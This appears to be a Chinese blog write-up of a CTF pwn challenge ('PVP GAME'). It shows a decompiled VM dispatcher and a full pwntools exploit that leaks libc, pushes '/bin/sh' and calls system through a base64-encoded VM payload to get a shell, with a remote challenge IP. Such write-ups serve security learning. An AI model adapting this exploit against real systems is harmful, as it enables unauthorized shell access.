PVP GAME 粤湾证券


关键函数

_QWORD *__fastcall sub_F7D(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, unsigned __int64 opcode_val, char op1_val, __int64 op2_val)
{
  _QWORD *result; // rax
  void (__fastcall *v10)(_QWORD, __int64); // rax
  void (__fastcall *v11)(_QWORD, __int64); // rax
  __int64 (__fastcall *v12)(char *, __int64); // rax

  result = (_QWORD *)opcode_val;
  if ( opcode_val == 0x10 )
  {
    ebp_addr[esp_index_value] = op2_val;
    result = (_QWORD *)(esp_index_value++ + 1); // push
  }
  else if ( opcode_val > 0x10 )
  {
    if ( opcode_val == 0x20 )
    {
      --esp_index_value;
      result = ebp_addr;
      ebp_addr[esp_index_value] = 0LL;          // push 0
    }
    else if ( opcode_val == 0x40 )
    {
      if ( esp_index_value == 2 )
      {
        v10 = (void (__fastcall *)(_QWORD, __int64))run_symbol(&op1_val);
        a2 = ebp_addr[esp_index_value - 1];
        v10(ebp_addr[esp_index_value - 2], a2); // 运行函数,栈传参
      }
      if ( esp_index_value == 1 )
      {
        v11 = (void (__fastcall *)(_QWORD, __int64))run_symbol(&op1_val);
        v11(ebp_addr[esp_index_value - 1], a2);
      }
      result = (_QWORD *)esp_index_value;
      if ( !esp_index_value )
      {
        v12 = (__int64 (__fastcall *)(char *, __int64))run_symbol(&op1_val);
        result = (_QWORD *)v12(&op1_val, a2);
      }
    }
  }
  return result;
}

只有一个栈,栈传参,直接运行函数指令格式为opcode+op1+op2
但是读入的数据会进行一个base64解密

base64解密

pwn和加密算法结合起来

exp也很简单

#coding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
import base64

# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)

debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def debug_1(addr,PIE=True):
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
    else:
        for i in addr:
            text_base=0
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str)
def getCmd(opcode,op1,op2):
    return p64(opcode)+p64(op1)+p64(op2)

def Push(op2):
    return getCmd(0x10,0,op2)
def RunFunction(name):
    return p64(0x40)+name.ljust(8,"\x00")+p64(0)
debug_1([0x0000000000000FA9])
p.recvuntil("0x",drop=True)
info=p.recv(12) #12是64位libc地址的长度  16是64位canary的长度 (不算0x)
result=int(info,16)
print("leak str to int : ",hex(result))
libc.address=result
payload=Push(libc.search("/bin/sh").next())+Push(libc.search("/bin/sh").next())+RunFunction("system")

p.sendlineafter("code:",base64.b64encode(payload))

p.interactive()

评论
 上一篇
vmpwn总结 vmpwn总结
分析各种存储器格式初始化结构_DWORD *sub_8049570() { _DWORD *v0; // eax _DWORD *v1; // ST1C_4 v0 = malloc(0x2Cu); v1 = v0; *
2020-11-18
下一篇 
粤湾银行 (vm2) 粤湾银行 (vm2)
结构分析ptr指针的结构 _DWORD *sub_8049570() { _DWORD *v0; // eax _DWORD *v1; // ST1C_4 v0 = malloc(0x2Cu); v1 = v0; *v
2020-11-14
  目录